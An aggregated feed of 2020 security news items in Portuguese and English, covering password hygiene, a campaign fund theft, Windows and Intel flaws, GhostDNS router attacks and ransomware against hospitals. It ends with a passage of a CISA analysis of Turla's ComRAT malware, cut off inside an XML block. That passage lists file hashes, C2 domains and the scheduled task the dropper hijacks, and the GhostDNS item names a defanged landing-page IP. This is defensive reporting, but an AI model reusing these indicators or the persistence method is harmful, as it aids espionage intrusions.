Aprenda a proteger e nunca mais esquecer suas senhas


Por favor, não vai dizer que você ainda guarda suas senhas assim: num pedaço de papel! E não adianta também se for em um arquivo qualquer desprotegido no computador, hein?! Infelizmente, pouca gente ainda tem consciência da importância de proteger suas senhas. Sabe aquela história: “nunca vai acontecer comigo”? Segundo uma pesquisa recente da LastPass Sharing, 59% das pessoas costumam repetir suas senhas em mais de um serviço digital - quando não em todos eles!Não é por acaso. Em tempos que vivemos bombardeados de informações, é mesmo bem difícil lembrar tanta combinação para administrar todas contas e serviços: e-mail, redes sociais, logins… Pouca gente ainda conhece meios eficazes e seguros de armazenamento de senhas e acessos. E aí, para facilitar e vida e dar uma folga pra memória, acabam mesmo indo na senha padrão e acabam comprometendo a segurança das suas informações.Uma senha forte e única para cada equipamento ou serviço pode evitar muita dor de cabeça. Mais do que uma senha forte, a combinação de fatores é a melhor forma de se manter seguro. O primeiro nível é aquilo que você sabe, sua senha, por exemplo. Um nível acima, um segundo fator de autenticação, como um token ou até um telefone celular, já aumenta bastante o nível de segurança; algo que você tem! O ultimo e mais seguro nível seria o terceiro, que inclui algo que você é. Neste caso, entra a biometria com reconhecimento facial, de íris e impressão digital.Para quem não tem memória de elefante, hoje a maioria dos navegadores já oferece uma função para salvar senhas e até completar os campos de usuário e password automaticamente. Mas esta ainda não é a melhor opção…o serviço oferecido pelos browsers é bastante limitado.Para quem procura e se informa, sim, existem soluções mais sofisticadas de proteção de acessos. E, não, você não vai mais ter que lembrar dezenas de senhas; no máximo, uma! Os cofres digitais, por exemplo, são softwares seguros para armazenar senhas e documentos. Alguns armazenam a informação criptografada, na sua própria máquina; outros guardam suas senhas em servidores próprios, como serviços de nuvem.Agora a alternativa mais segura são os tokens como estes oferecidos por algumas startups fora do Brasil. Nestes dispositivos que se assemelham muito a um pendrive comum, além de guardar suas senhas de forma segura com criptografia de nível militar, eles servem como duplo fator de autenticação. Alguns, por bluetooth, são capazes de garantir o acesso do usuário imediato, sem a necessidade de digitar nada…Por último, mais uma opção são os serviços de one-time password, uma espécie de senha descartável que cria uma combinação única para cada acesso. Neste caso, a única senha que o usuário precisa lembrar é a de login no serviço. Existem diversas soluções para gerenciamento de senhas, mas ainda são pouco disseminadas no Brasil. E se você quer se manter realmente seguro online, é importante ter a consciência de usar pelo menos um desses produtos - alguns inclusive são gratuitos - e nem pensar mais em guardar senhas em papéis…por favor! No nosso site, a gente separou uma lista de soluções bem legais para gerenciamento de senhas…aproveita e confere lá; o link está logo abaixo do vídeo desta matéria!

from Olhar Digital :: Segurança https://ift.tt/2GgqWux

The Wisconsin GOP Lost $2.3 Million in an Email Scam

Trump's website gets hacked, a ransomware group calls it quits, and more of the week's top security news.

from Security Latest https://ift.tt/2TH9sL2

Hackers roubam dinheiro de campanha de Donald Trump


Cerca de 2,3 milhões de dólares foram roubados por hackers de uma conta do partido do presidente americano, Donald Trump. A quantia era destinada a eventuais ações relacionadas à campanha de reeleição do candidato.Segundo Andrew Hitt, presidente do Partido Republicano de Wisconsin, as movimentações suspeitas foram percebidas em 22 de outubro. O fato foi notificado ao FBI, que investiga a origem do crime. O que se sabe até agora é que a quantia foi roubada por meio da adulteração de faturas de quatro fornecedores.Outra ação de criminosos virtuais foi a invasão do site da campanha do presidente e sua substituição por uma página para coletar criptomoedas. Além disso, os hackers colocaram uma mensagem crítica às notícias falsas publicadas por Trump regularmente.

from Olhar Digital :: Segurança https://ift.tt/35SESDV

Reguladores antitruste pedem arquivos publicitários de gigantes online


As gigantes da tecnologia terão que explicar como seus algoritmos funcionam sob as novas regras propostas pela União Europeia, assim como abrir seus arquivos de anúncios para reguladores e pesquisadores. Isso faz parte da investigação antitruste que envolve as principais empresas de tecnologia do mundo.A mudança deve impactar as gigantes dos Estados Unidos, como Facebook, Apple, Google e Amazon, principalmente no que diz respeito à imensidão de dados armazenados por essas empresas, assim como seus lucrativos negócios de publicidade online.Os algoritmos de publicidade ajudam as companhias a direcionar os anúncios aos usuários que as empresas anunciantes desejam atingir. De acordo com Vestager, o objetivo é esclarecer como esses algoritmos funcionam e garantir que as empresas sejam responsáveis por suas decisões.In my mind no doubt that platforms - and the algorithms they use - can have an enormous impact on the way we see the world around us. We need to know why we are shown what we are shown.https://t.co/5FHSXQlPBQ— Margrethe Vestager (@vestager) October 30, 2020"E as maiores plataformas teriam que fornecer mais informações sobre a forma como seus algoritmos funcionam, quando os reguladores solicitarem", afirmou Vestager em um evento organizado pela agência de pesquisas AlgorithmWatch e pelo European Policy Center. "Eles também teriam que dar aos reguladores e pesquisadores acesso aos dados que possuem - incluindo arquivos de anúncios".Vestager ainda vai anunciar os projetos de mais duas regras, conhecidas como Digital Services Act e Digital Markets Act, no dia 2 de dezembro, sublinhando a determinação da União Europeia de controlar as gigantes da tecnologia e forçá-las a trabalhar de maneira mais justa com o mercado e empresas menores.A nova legislação precisará da aprovação de países da UE e do Parlamento Europeu antes de entrar em vigor. Todo o processo deve levar um ano ou mais.Google é processado por monopólio ilegal nos EUAO Departamento de Justiça dos Estados Unidos processou o Google no dia 20 de outubro por práticas antitruste. A empresa é acusada de ter um monopólio injusto sobre publicidade relacionadas a pesquisas. Além disso, o órgão discorda dos termos em torno do Android, que força os fabricantes de smartphones a pré-carregar aplicativos e definir o Google como mecanismo padrão de busca, impedindo de empresas rivais ganhem espaço e aumentando a quantia que recebe por publicidade em pesquisas.Via: Reuters

from Olhar Digital :: Segurança https://ift.tt/320QJP3

Google divulga falha no Windows antes de a Microsoft corrigi-la


O Google tomou uma atitude nesta sexta-feira (30) que deve incomodar a Microsoft. A empresa revelou, por meio de seu Project Zero, uma nova brecha no Windows que já está sendo ativamente usada pelo cibercrime e que não deverá ser corrigida por um período de pelo menos duas semanas.Normalmente, o Project Zero dá um prazo maior para as empresas poderem corrigir suas vulnerabilidades antes de elas serem expostas e transformadas em conhecimento público. O grupo do Google costuma dar 90 dias para que a falha seja divulgada, massa divulgação pode ocorrer antes se for lançada uma correção. No entanto, neste caso específico, como a vulnerabilidade já é conhecida e utilizada pelo cibercrime, o prazo dado foi de apenas 7 dias.O prazo mais curto fez com que a Microsoft não fosse capaz de lançar uma correção a tempo. Na prática, isso significa que, neste momento, a vulnerabilidade está aberta e se tornou conhecimento público, aumentando os riscos para os usuários.A falha em questão é identificada como CVE-2020-117087. Os cibercriminosos utilizavam uma combinação de vulnerabilidades no sistema operacional e no navegador Chrome, que permitiam escalar privilégios no sistema e executar código remotamente nos dispositivos afetados, permitindo tomar controle da máquina. O Google lançou uma correção para o browser, mas a falha do Windows segue aberta.Os pesquisadores do Google informam que a correção para a vulnerabilidade só saia no dia 10 de novembro, quando acontece a Patch Tuesday, como é conhecida a segunda terça-feira de cada mês, quando a Microsoft libera todas as suas atualizações de segurança de uma só vez. Em comunicado publicado pelo Ars Technica, a companhia nota que nem sempre é viável lançar uma correção tão rapidamente como os pesquisadores apontaram.“A Microsoft tem um compromisso com o consumidor de investigar falhas de segurança e atualizar os dispositivos impactados para proteger os consumidores. Apesar de trabalharmos para respeitar os prazos de divulgação de todos os pesquisadores, mesmo em prazos curtos como neste caso, desenvolver uma atualização de segurança é um equilíbrio entre agilidade e qualidade, e nossa meta é garantir proteção máxima proteção com o mínimo de perturbação”, diz o comunicado.Do outro lado, o Google defende que a divulgação rápida dos detalhes tem vantagens em defesa, e que há poucas chances de que um novo ataque seja desenvolvido entre a divulgação dos detalhes e o lançamento de uma correção, especialmente porque o ataque dependia de uma vulnerabilidade no Chrome que já foi solucionada. Além disso, a exposição incentivaria ação rápida contra a ameaça, para que o patch seja produzido com mais urgência.

from Olhar Digital :: Segurança https://ift.tt/2GjQI1a

CISA and FBI Release Joint Advisory on Iranian APT Actor Targeting Voter Registration Data

Iranian Advanced Persistent Threat Actor Identified Obtaining Voter Registration Data

Pesquisadores conseguem chave para decifrar microcódigo de chips Intel


Pesquisadores da empresa de segurança Positive Technologies conseguiram, pela primeira vez, extrair a chave usada pela Intel para criptografar as atualizações de microcódigo de alguns de seus processadores.Estas atualizações são usadas para corrigir bugs e falhas de segurança nos chips depois que eles são lançados. A capacidade de decodificar uma correção pode abrir as portas para que pesquisadores, ou hackers, façam engenharia reversa do código e aprendam a explorar a falha que está sendo corrigida."No momento, é dificil determinar o impacto de segurança" da descoberta, disse o pesquisador Maxim Goryachy, que trabalhou no projeto junto com Dmitry Sklyarov e Mark Ermolov, ao Ars Technica. "Em qualquer caso, este é a primeira vez na história dos processadores Intel em que você pode executar seu próprio microcódigo e analisar as atualizações", afirmou.Today we're[+@_markel___ and @_Dmit]disclosing the technique allowing to modify #Intel #Microcode on the fly! For the first time you have the ability to intercept control flow at such a low level. We've developed the microcode patch that changes the processor model string as PoC pic.twitter.com/4zdBGS51GR— Maxim Goryachy (@h0t_max) October 13, 2020Um longo caminhoA chave para a descoberta foi uma vulnerabilidade encontrada por Goryachy e Ermolov há três anos, chamada Intel SA-00086, que permitia a execução de código no núcleo independente de processadores contendo a Intel Management Engine.O trio então usou a SA-00086 para acessar um modo de serviço usado por engenheiros da Intel chamado "Red Unlock", que é usado para depurar atualizações de microcódigo antes que sejam lançadas. Cinco meses atrás eles lançaram a "Chip Red Pill", uma ferramenta que permite acessar esse modo e explorar o funcionamento interno do chip.A partir daí os pesquisadores conseguiram extrair uma área de código chamada MSROM (Microcode Sequencer ROM) dos chips baseados na arquitetura Goldmont. Depois de um extenso trabalho de engenharia reversa, eles revelaram o funcionamento do mecanismo de atualização e a chave criptográfica RC4 usada no processo.Sem risco, por enquantoA descoberta não pode ser usada para "hackear" remotamente um processador vulnerável. Mas existe a possibilidade de que um malfeitor com acesso a um computador e as ferramentas certas modifique o microcódigo do chip, compromentendo um sistema em um nível muito mais fundamental que uma falha de BIOS ou em um sistema operacional.A Intel afirmou que "o problema descrito não representa uma exposição de segurança para os consumidores, e não contamos com a ocultação de informações por trás do Red Unlock como medida de segurança. Além da mitigação da vulnerabilidade INTEL-SA-00086 os OEMs, seguindo as orientações de fabricação da Intel, mitigaram a capacidade de desbloqueio específica aos OEMs necessária para o processo descrito nesta pesquisa.A chave privada usada para autenticar o microcódigo não reside no chip, e um invasor não pode carregar um patch não autenticado em um sistema remoto".Por sua vez, Ermolov afirmou que "Por enquanto há apenas uma consequência muito importante: análise independente de uma atualização de microcódigo, algo que era impossível até o momento. Agora pesquisadores podem ver como a Intel corrige um bug ou vulnerabilidade. E isso é ótimo. A criptografia de patches de microcódigo é uma forma de segurança através da obscuridade".Fonte: Ars Technica

from Olhar Digital :: Segurança https://ift.tt/34I2GuH

Mais de 5 bilhões de credenciais de e-mail vazaram na internet em 2020


Uma situação que pode trazer inúmeros problemas para pessoas físicas e jurídicas é o vazamento de credenciais de e-mail. Por isso, todo cuidado é pouco. Mesmo assim, esse acontecimento é mais comum do que se imagina. É justamente esse o ponto abordado em um novo levantamento feito pelo dfndr lab, laboratório especializado em segurança digital da PSafe.Os especialistas revelam que mais de 5 bilhões de credenciais foram vazadas na internet até o momento. Isso apenas em 2020. Desse total, cerca de 4 bilhões são informações de e-mails pessoais e mais de 900 milhões são provenientes de contas corporativas.Emilio Simoni, diretor do dfndr lab, alerta para o perigo de usar a mesma senha em diversos serviços em que o login é feito com o mesmo e-mail. Caso aconteça um vazamento, é possível que todas as contas estejam comprometidas."Quando uma credencial é vazada, isso permite que o cibercriminoso tenha acesso às contas que possuem o mesmo e-mail e senha que foi vazada. Ou seja, se a senha que uma pessoa usa em um determinado site é vazada e ela também é utilizada no e-mail, o hacker é capaz de mudar a senha e gerenciar todas as contas daquela vítima", diz o diretor.ReproduçãoEspecialistas indicam que mais de 5 bilhões de credenciais de e-mail vazaram somente em 2020. Foto: Sompong Lekhawattana/ iStockNo entanto, o perigo é ainda maior. Isso porque, além do acesso às contas, as informações roubadas podem dar acesso a dados pessoais das vítimas, o que pode abrir portas para esquema de roubo de identidade para fins ilícitos."Dentre os crimes mais comuns vistos estão a assinatura indevida de serviços, abertura de contas e fraudes financeiras, já que o cibercriminoso pode ainda ter acesso às contas bancárias", comenta Simoni.Como se protegerEm primeiro lugar, os especialistas do dfndr lab recomendam que todos os dispositivos pessoais estejam equipados com uma solução de segurança, que pode ajudar na hora de monitorar e alertar sobre possíveis vazamentos.No caso de empresas, a mesma recomendação se aplica. No entanto, deve-se ter o cuidado de utilizar um sistema robusto, já que há dados muitas vezes mais sensíveis sobre seus funcionários e clientes.Proteger as redes Wi-Fi residenciais com senhas fortes também pode resolver a questão. Isso porque, um outro levantamento feito pelo laboratório de segurança indica que 46% das redes caseiras do Brasil encontram-se sem nenhuma proteção.Por fim, talvez a recomendação mais importante seja criar senhas diferentes para cada serviço utilizado. Além disso, a autenticação de dois fatores – quando disponível - pode adicionar uma camada extra de proteção.

from Olhar Digital :: Segurança https://ift.tt/2HO8Fpg

This Week in Security News: Trend Micro Researcher Uncover Two Espionage Backdoors Associated with Operation Earth Kitsune and Trickbot and Ransomware Attackers Plan Big Hit on U.S. Hospitals

Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days. This week, learn about how Trend Micro researchers uncovered two new espionage backdoors associated with the ‘Operation Earth Kitsune’ campaign. Also, read about how U.S. healthcare providers have been put on high alert over Trickbot malware and ransomware targeting the sector.

Read on:

Operation Earth Kitsune: A Dance of Two New Backdoors

Trend Micro recently published a research paper on Operation Earth Kitsune, a watering hole campaign aiming to steal information by compromising websites. Besides its heavy use of SLUB malware, Trend Micro researchers also uncovered two new espionage backdoors associated with the campaign: agfSpy and dneSpy, dubbed as such following the attackers’ three-letter naming scheme.

FBI Warning: Trickbot and Ransomware Attackers Plan Big Hit on U.S. Hospitals

U.S. healthcare providers, already under pressure from the COVID-19 pandemic, are on high alert over Trickbot malware and ransomware targeting the sector. Trickbot is one of the largest botnets in the world, against which Microsoft took U.S. legal action earlier this month in effort to gain control of its servers. Within a day of the seizure, Trickbot C&C servers and domains were replaced with new infrastructure.

Trend Micro HouseCall for Home Networks

While a home network provides numerous benefits, it can also expose its users to safety and privacy risks. Checking for those risks doesn’t need to be costly: Trend Micro’s Housecall for Home Networks (HCHN) solution scans the connected devices in home networks and detects those that pose security risks and is available for free.

Bug-Bounty Awards Spike 26% in 2020

According to a list of top 10 vulnerabilities by HackerOne, cross-site scripting (XSS) remained the most impactful vulnerability and reaped the highest rewards for ethical hackers in 2020 for the second year in a row, earning hackers $4.2 million in total bug-bounty awards in the last year, a 26-percent increase from what was paid out in 2019 for finding XSS flaws. Following XSS on the list: Improper access control, information disclosure, server-side request forgery (SSRF) and more.

Supply Chain Attacks in the Age of Cloud Computing: Risks, Mitigations, and the Importance of Securing Back Ends

Security is an aspect that every enterprise needs to consider as they use and migrate to cloud-based technologies. On top of the list of resources that enterprises need to secure are networks, endpoints, and applications. However, another critical asset that enterprises should give careful security consideration to is their back-end infrastructure which, if compromised, could lead to supply chain attacks.

U.S. Shares Information on North Korean Threat Actor ‘Kimsuky’

An alert released this week by the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the Cyber Command Cyber National Mission Force (CNMF) provides information on Kimsuky, a threat actor focused on gathering intelligence on “foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions” on behalf of the North Korean government. The advisory says the adversary has been active since 2012, engaging in social engineering, spear-phishing, and watering hole attacks.

76% of Applications Have at Least One Security Flaw

Most applications contain at least one security flaw and fixing those flaws typically takes months, a new Veracode report reveals. This year’s analysis of 130,000 applications found that it takes about six months for teams to close half the security flaws they find. The report also uncovered some best practices to significantly improve these fix rates.

Apps Infected with Adware Found on Google Play Store

Some 21 malicious Android apps containing intrusive adware were discovered on the Google Play Store, but most have now been removed, according to a report from Avast. These fraudulent mobile applications, disguised as Android gaming apps, had been downloaded more than 8 million times since they were made available in the store.

Patients in Finland Blackmailed After Therapy Records Were Stolen by Hackers

The confidential records of thousands of psychotherapy patients in Finland have been hacked and some are now facing the threat of blackmail. Attackers were able to steal records related to therapy sessions, as well as patients’ personal information including social security numbers and addresses, according to Vastaamo, the country’s largest private psychotherapy center.

Surprised by the Vastaamo hack and subsequent blackmail of patients?  Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.

The post This Week in Security News: Trend Micro Researcher Uncover Two Espionage Backdoors Associated with Operation Earth Kitsune and Trickbot and Ransomware Attackers Plan Big Hit on U.S. Hospitals appeared first on .



from Trend Micro Simply Security https://ift.tt/2TFpmFA

Hackers roubam US$ 2,3 milhões da campanha de Trump à reeleição


O presidente do Partido Republicano de Wisconsin, nos Estados Unidos, Andrew Hitt, revelou na quinta-feira (29) que hackers roubaram US$ 2,3 milhões da conta do Partido. A quantia objetivava eventuais ações relacionadas à campanha para reeleição do atual presidente do país, Donald Trump. O FBI foi acionado e prossegue investigando a origem do crime.De acordo com Hitt, movimentações suspeitas foram percebidas no dia 22 de outubro, sendo que no dia seguinte, as autoridades policiais já haviam sido informadas sobre o caso. O que se sabe até agora é que os criminosos roubaram a quantia por meio da adulteração de faturas de quatro fornecedores que estavam sendo pagos para enviar esforços para a reeleição de Trump, bem como para fornecer material de campanha.Neste sentido, a manipulação dos números foi realizada de forma que quando o Partido pagasse a quantia, o dinheiro fosse diretamente para a conta dos hackers. ReproduçãoRoubo pode prejudicar reeleição de Trump em um dos estados mais importantes do pleito. Créditos: Evan El-Amin/ShutterstockAlém do montante roubado, os responsáveis pelo crime também tentaram iniciar um ataque de phishing.O presidente do Partido ainda explica que o dinheiro estaria sendo guardado para possíveis ações, que precisariam ser desenvolvidas rapidamente, durante os últimos dias de campanha presidencial. Hitt destacou que com o evento, o Partido fica em desvantagem frente ao pleito.Cabe destacar que o estado localizado no centro-oeste dos EUA é crucial no resultado das eleições, sendo uma das principais regiões na batalha pela Casa Branca. Por isso, Trump já visitou Wisconsin duas vezes apenas nesta semana e planejava uma terceira ida à região nesta sexta-feira (30). O rival direto do atual presidente americano e candidato à presidência pelo partido Democrata, Joe Biden, também planejou fazer campanha no estado nesta sexta.Site hackeadoNão é a primeira vez que hackers tentam prejudicar as ações de Trump em direção à permanência no cargo. Nesta semana, o site da campanha do presidente foi hackeado e substituído por uma página para coletar criptomoedas.Além disso, uma mensagem dizia que "o mundo está farto das notícias falsas espalhadas diariamente pelo presidente Donald J. Trump. É hora de permitir que o mundo saiba a verdade".Via: Associated Press

from Olhar Digital :: Segurança https://ift.tt/2TEP3WM

A Navy SEAL, a Quadcopter, and a Quest to Save Lives in Combat

On the battlefield, any doorway can be a death trap. A special ops vet, and his businessman brother, have built an AI to solve that problem.

from Security Latest https://ift.tt/34GBxIM

Browsers Bugs Exploited to Install 2 New Backdoors on Targeted Computers

Cybersecurity researchers have disclosed details about a new watering hole attack targeting the Korean diaspora that exploits vulnerabilities in web browsers such as Google Chrome and Internet Explorer to deploy malware for espionage purposes. Dubbed "Operation Earth Kitsune" by Trend Micro, the campaign involves the use of SLUB (for SLack and githUB) malware and two new backdoors — dneSpy and

from The Hacker News https://ift.tt/3oNUn8X

NSA se esquiva de investigação sobre 'backdoors' em eletrônicos


Entre as denúncias feitas pelo ex-analista de sistemas da Agência de Segurança Nacional dos Estados Unidos (NSA), Edward Snowden, está a de que órgãos de espionagem do país teriam colocado acessos escondidos – os chamados "backdoors" – em smartphones e outros aparelhos para examinar grandes quantidades de dados sem um devido mandado. Essas brechas seriam negociadas com empresas de tecnologia, sem o conhecimento dos usuários.Mas desde o escândalo causado pelo vazamento promovido por Snowden, a NSA teria mudado suas diretrizes para tais práticas. Quais foram as mudanças? Um senador democrata, Ron Wyden, que faz parte do Comitê de Inteligência do Senado, está tentando descobrir – mas de acordo com a Reuters, a própria agência de segurança vem criando barreiras para a investigação."Acessos secretos criptografados são uma ameaça à segurança nacional e de nossas famílias - é apenas uma questão de tempo antes que hackers ou criminosos estrangeiros os explorem de maneiras que prejudiquem a segurança nacional norte-americana", afirmou Wyden à Reuters. "O governo não deveria ter nenhum papel no estabelecimento de backdoors na tecnologia de criptografia usada pelos norte-americanos".Rena Schild/ShutterstockCartazes erguidos por manifestantes durante um protesto contra a vigilância em massa nos EUA, em 26 de outubro de 2013. Imagem: Rena Schild/ShutterstockDefensores das ações da NSA dizem que a prática facilitou a coleta de informações vitais em outros países, incluindo a interceptação de comunicações terroristas. Desde os vazamentos, a agência teria desenvolvido novas regras, a fim de reduzir as chances de exposição e comprometimento. E para convencer as empresas a colaborar, funcionários da NSA dizem que a agência tem oferecido avisos sobre falhas de software como uma forma de recuperar sua confiança."Na NSA, é prática comum avaliar constantemente os processos para identificar e determinar as melhores práticas", afirmou a coordenadora do Diretório de Segurança Cibernética da NSA, Anne Neuberger, consultada pela Reuters. “Não compartilhamos processos e procedimentos específicos”, completou sem dar mais detalhes.Em condição de anonimato, três ex-membros da agência de inteligência disseram que a NSA agora exige que, antes que uma backdoor seja implantada, se pese as consequências potenciais e providencie algum tipo de aviso se o acesso for descoberto e utilizado por adversários. Os críticos dessas práticas dizem que elas comprometem os esforços para persuadir aliados a rejeitar a tecnologia chinesa – acusada, pelos norte-americanos, de ser usada para espionagem.A equipe de Wyden descobriu pelo menos um caso em que um agente estrangeiro conseguiu tirar vantagem de uma backdoor criada pela NSA. A Juniper Networks – uma fabricante de equipamentos de rede - disse que, em 2015, um de seus aparelhos havia sido comprometido.Em 2018, consultada pela equipe do senador, a NSA disse que havia um relatório de "lições aprendidas" sobre o incidente. "Agora eles afirmam que não conseguem localizar este documento", o porta-voz de Wyden, Keith Chu. A NSA e a Juniper se recusaram a comentar o assunto.Via: Reuters

from Olhar Digital :: Segurança https://ift.tt/3oH5bW3

GhostDNS volta a ameaçar usuários no Brasil


A Avast anunciou ter detectado e bloqueado uma campanha de CSRF (Cross-Site Request Forgery) que visava infectar os roteadores de internautas brasileiros com um malware conhecido como GhostDNS, projetado para roubar credenciais de acesso a sistemas bancários e serviços online.O GhostDNS não é uma ameaça nova. Já falamos sobre ele em 2018, e ele ressurge de tempos em tempos. A Avast afirma ter protegido cerca de 4,5 mil usuários de seus produtos no Brasil, e bloqueado mais de 10 mil tentativas de ataque feitas a seus roteadores.A campanha é feita em duas etapas: primeiro os criminosos infectam roteadores vulneráveis e modificam suas configurações de DNS. Grosso modo, o DNS é um "sistema de endereçamento" na internet. Quando um usuário solicita o acesso a um site digitando uma URL (por exemplo: olhardigital.com.br) um servidor DNS converte este endereço "amigável" em um endereço IP numérico que os computadores usam para se comunicar.Um servidor DNS comprometido pode ser usado para redirecionar tentativas de acesso a sites legítimos, levando os usuários para sites maliciosos controlados pelos malfeitores. Esta é a segunda parte do ataque, que segundo a Avast ainda não estava sendo realizada.O usuário pode, por exemplo, digitar o endereço correto do site de um banco e acabar em uma página falsa, que vai pedir seus dados de acesso para "confirmação" ou fazer um "recadastramento". Do outro lado da tela estão os malfeitores, anotando estas informações.Os kits de exploração de roteadores são populares no Brasil. No final do ano passado, a Avast descobriu duas landing pages hospedando Novidade, uma versão do kit de exploração GhostDNS. A campanha mais recente, monitorada pela Avast, também usou o Novidade.Como acontece o ataqueUm ataque CSRF a um roteador é normalmente iniciado quando o usuário visita um site comprometido com publicidade maliciosa (malvertising), que é veiculada por meio de redes de anúncios de terceiros para o site.Nesse caso, os usuários são redirecionados automaticamente para uma página contendo um kit de exploração do roteador, iniciando o ataque em seu aparelho, sem a interação do usuário em segundo plano. A landing page que hospedava a variante GhostDNS era hxxp[:]//91.234.99[.]178/secure/Os kits de exploração podem atacar com sucesso um roteador pois muitos deles são protegidos com senhas fracas, geralmente as credenciais de fábrica com as quais o roteador é entregue, amplamente conhecidas. De acordo com uma pesquisa online da Avast realizada em junho de 2018, com mais de 1.500 usuarios no Brasil, 43% deles nunca se conectaram à interface de administração de seu roteador para modificar as credenciais de acesso."Os ataques CSRF a roteadores são, infelizmente, muito populares no Brasil e vemos o kit de exploração Ghost DNS novamente sendo usado para direcionar os roteadores de brasileiros, de tempos em tempos", diz Simona Musilová, Analista de Ameaças da Avast.“Mesmo que a campanha não esteja mais ativa e os invasores ainda não tenham redirecionado os usuários para sites de phishing, isso não significa que aqueles infectados estejam seguros. Os invasores podem começar a redirecionar os usuários sem qualquer suspeita, a qualquer momento. No passado, os cibercriminosos redirecionavam os usuários que tentavam visitar sites de bancos populares ou sites como Netflix, para coletar credenciais de login".Permaneçam protegidosSimona Musilová continua: “Os usuários devem ter cuidado ao visitar o site de seu banco ou qualquer outro site onde seja necessário fazer o login, e se certificar de que a página tenha um certificado válido - verificando o cadeado na barra URL do navegador"."Além disso, os usuários devem atualizar frequentemente o firmware do roteador para a versão mais recente e configurar as credenciais de login do roteador com uma senha forte", diz Musilová. Siga este nosso passo-a-passo, e veja como proteger os computadores deste ameaça.Fonte: Avast

from Olhar Digital :: Segurança https://ift.tt/31Uc24C

Ransomware Hits Dozens of Hospitals in an Unprecedented Wave

As Covid-19 infections spike in many parts of the US, malware gangs are wreaking havoc on the health care system.

from Security Latest https://ift.tt/2HEPkXE

CISA, FBI, and CNMF Identify a New Malware Variant: ComRAT

Original release date: October 29, 2020

The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Defense Cyber National Mission Force (CNMF) have identified a malware variant—referred to as ComRAT—used by the Russian-sponsored advanced persistent threat (APT) actor Turla. In addition, U.S. Cyber Command has released the malware sample to the malware aggregation tool and repository, VirusTotal.

CISA encourages users and administrators to review Malware Analysis Report MAR-10310246-2.v1 and U.S. Cyber Command’s VirusTotal page for more information.

This product is provided subject to this Notification and this Privacy & Use policy.



from CISA All NCAS Products https://ift.tt/34GC3Xg

MAR-10310246-2.v1 – PowerShell Script: ComRAT

Original release date: October 29, 2020

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see https://ift.tt/1qJcHPA.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA), the Cyber National Mission Force (CNMF), and the Federal Bureau of Investigation (FBI). The malware variant, known as ComRAT, has been used by Turla, a Russian-sponsored Advanced Persistent Threat (APT) actor. CISA, CNMF, and FBI are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

FBI has high-confidence that Russian-sponsored APT actor Turla, which is an espionage group active for at least a decade, is using ComRAT malware to exploit victim networks. The group is well known for its custom tools and targeted operations.

This report analyzes a PowerShell script that installs a PowerShell script, which will decode and load a 64-bit dynamic-link library (DLL) identified as ComRAT version 4. This new variant of ComRAT contains embedded 32-bit and 64-bit DLLs used as communication modules. The communication module (32-bit or 64-bit DLL) is injected into the victim systemís default browser. The ComRATv4 file and the communication module communicate with each other using a named pipe. The named pipe is used to send Hypertext Transfer Protocol (HTTP) requests and receive HTTP responses to and from the communication module for backdoor commands. It is designed to use a Gmail web interface to receive commands and exfiltrate data. The ComRAT v4 file contains a Virtual File System (VFS) in File Allocation Table 16 (FAT16) format, which includes the configuration and logs files.

Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https://ift.tt/2ZRAH8u

For a downloadable copy of IOCs, see: MAR-10310246-2.v1.WHITE.stix.

Submitted Files (5)

00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d (Communication_module_32.dll)

134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8 (corrected.ps1)

166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405 (Communication_module_64.dll)

44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316 (ComRATv4.exe)

a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642 (Decode_PowerShell.ps1)

Domains (6)

branter.tk

bronerg.tk

crusider.tk

duke6.tk

sanitar.ml

wekanda.tk

Findings

134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8

Tags

dropper

Details
Name corrected.ps1
Size 4345430 bytes
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, LF line terminators
MD5 65419948186842f8f3ef07cafb71f59a
SHA1 93537b0814177e2101663306aa17332b9303e08a
SHA256 134919151466c9292bdcb7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
SHA512 83d093c6febacb11fcde57fee98c2385f628e5cd3629bfabd0f9e4d2c5de18c6336b3d3aff8081b06a827e742876d19ae370e81890c247daac73d4f8b7ea5f90
ssdeep 24576:+vq2EYNg0gX792UHDoSe9Ov2a8p+JnHZUoWYWUpcfm3WuPhu/aqJOFKs4Wuw054o:Drr9q0v4ubJmg4OFuwkOM5NZihxs
Entropy 4.004402
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
1349191514... Contains a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
Description

This file is a heavily encoded malicious PowerShell script. It is designed to install a malicious PowerShell script into a registry on the victim system. This malicious script also modifies the following scheduled task on the victim's system:

—Begin Modified Scheduled Task—
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator
—End Modified Scheduled Task—

The modification of this scheduled task causes the installed malicious PowerShell script to be executed. Displayed below is the original scheduled task:

—Begin Original Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="https://ift.tt/1erkgOo">
<RegistrationInfo>
   <Version>1.0</Version>
